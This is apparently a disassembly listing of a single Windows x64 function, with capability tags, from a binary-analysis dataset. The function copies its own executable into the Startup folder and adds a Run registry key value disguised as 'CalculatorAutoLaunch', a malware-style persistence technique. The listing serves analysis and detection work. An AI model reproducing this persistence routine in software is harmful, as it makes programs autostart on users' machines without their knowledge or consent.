Function at 0x140001750
Capabilities:
Copy file
Get common file path
Get startup folder
Persist via run registry key
Set registry value
Write file to startup folder

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x2a8
mov r8d, 0x104
xor ecx, ecx
lea rsi, [rsp + 0x80]
lea r13, [rsp + 0x50]
mov rdx, rsi
lea r14, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rcx, rsi
mov qword [rsp + 0x40], r13
call sub.msvcrt.dll_strlen
mov qword [rsp + 0x190], rax
mov rbx, rax
cmp rax, 0xf
ja 0x140001960
cmp rax, 1
jne 0x140001900
movzx edx, byte [rsp + 0x80]
lea rbp, [rsp + 0x190]
mov byte [rsp + 0x50], dl
mov rdx, r13
mov qword [rsp + 0x48], rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov byte [rdx + rax], 0
mov edx, 7
mov qword [rsp + 0x20], rbp
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea r12, [rsp + 0x70]
mov rcx, rbp
lea r15, [rsp + 0x60]
mov qword [rsp + 0x60], r12
call sub.msvcrt.dll_strlen
mov qword [rsp + 0x38], rax
mov rbx, rax
cmp rax, 0xf
ja 0x1400019c8
cmp rax, 1
je 0x140001948
mov rdx, r12
test rax, rax
jne 0x140001aa0
mov qword [rsp + 0x68], rax
mov byte [rdx + rax], 0
mov r8, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x40]
cmp r8, qword [rsp + 0x68]
je 0x140001920
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea r8, [rsp + 0x38]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1400018b3
mov eax, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
mov r9d, 1
xor r8d, r8d
lea rdx, str.CalculatorAutoLaunch_7KO45DE4T5F6OJG6NFJP4
add eax, 1
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x60]
cmp rcx, r12
je 0x1400018cb
mov rax, qword [rsp + 0x70]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x40]
cmp rcx, r13
je 0x1400018e3
mov rax, qword [rsp + 0x50]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
xor eax, eax
add rsp, 0x2a8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
test rax, rax
jne 0x140001b0a
mov rdx, r13
lea rbp, [rsp + 0x190]
jmp 0x1400017c9
test r8, r8
je 0x14000185b
mov rdx, rsi
mov rcx, rbx
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x14000185b
jmp 0x14000184c
movzx edx, byte [rsp + 0x190]
mov byte [rsp + 0x70], dl
mov rdx, r12
jmp 0x140001829
lea rbp, [rsp + 0x190]
xor r8d, r8d
mov rcx, r14
mov rdx, rbp
call fcn.140002170
mov rdx, qword [rsp + 0x190]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rdx
cmp ebx, 8
jae 0x140001a60
test bl, 4
jne 0x140001ad0
test ebx, ebx
je 0x1400019b1
movzx edx, byte [rsp + 0x80]
mov byte [rax], dl
test bl, 2
jne 0x140001af9
mov rax, qword [rsp + 0x190]
mov rdx, qword [rsp + 0x40]
jmp 0x1400017c9
lea rdx, [rsp + 0x38]
xor r8d, r8d
mov rcx, r15
call fcn.140002170
mov rdx, qword [rsp + 0x38]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], rdx
cmp ebx, 8
jae 0x140001a20
test bl, 4
jne 0x140001ab0
test ebx, ebx
je 0x140001a0c
movzx edx, byte [rsp + 0x190]
mov byte [rax], dl
test bl, 2
jne 0x140001ae8
mov rax, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x60]
jmp 0x140001829
mov rdx, qword [rsp + 0x190]
lea rdi, [rax + 8]
mov rsi, rbp
and rdi, 0xfffffffffffffff8
mov qword [rax], rdx
mov edx, ebx
mov rcx, qword [rbp + rdx - 8]
mov qword [rax + rdx - 8], rcx
sub rax, rdi
lea ecx, [rbx + rax]
sub rsi, rax
mov ebx, ecx
shr ebx, 3
mov ecx, ebx
rep movsq qword [rdi], qword [rsi]
jmp 0x140001a0c
mov rdx, qword [rsp + 0x80]
lea rdi, [rax + 8]
and rdi, 0xfffffffffffffff8
mov qword [rax], rdx
mov edx, ebx
mov rcx, qword [rsi + rdx - 8]
mov qword [rax + rdx - 8], rcx
sub rax, rdi
lea ecx, [rbx + rax]
sub rsi, rax
mov ebx, ecx
shr ebx, 3
mov ecx, ebx
rep movsq qword [rdi], qword [rsi]
jmp 0x1400019b1
mov rax, r12
jmp 0x1400019e7
mov edx, dword [rsp + 0x190]
mov ebx, ebx
mov dword [rax], edx
mov edx, dword [rbp + rbx - 4]
mov dword [rax + rbx - 4], edx
jmp 0x140001a0c
mov edx, dword [rsp + 0x80]
mov ebx, ebx
mov dword [rax], edx
mov edx, dword [rsi + rbx - 4]
mov dword [rax + rbx - 4], edx
jmp 0x1400019b1
mov ebx, ebx
movzx edx, word [rbp + rbx - 2]
mov word [rax + rbx - 2], dx
jmp 0x140001a0c
mov ebx, ebx
movzx edx, word [rsi + rbx - 2]
mov word [rax + rbx - 2], dx
jmp 0x1400019b1
mov rax, r13
lea rbp, [rsp + 0x190]
jmp 0x140001988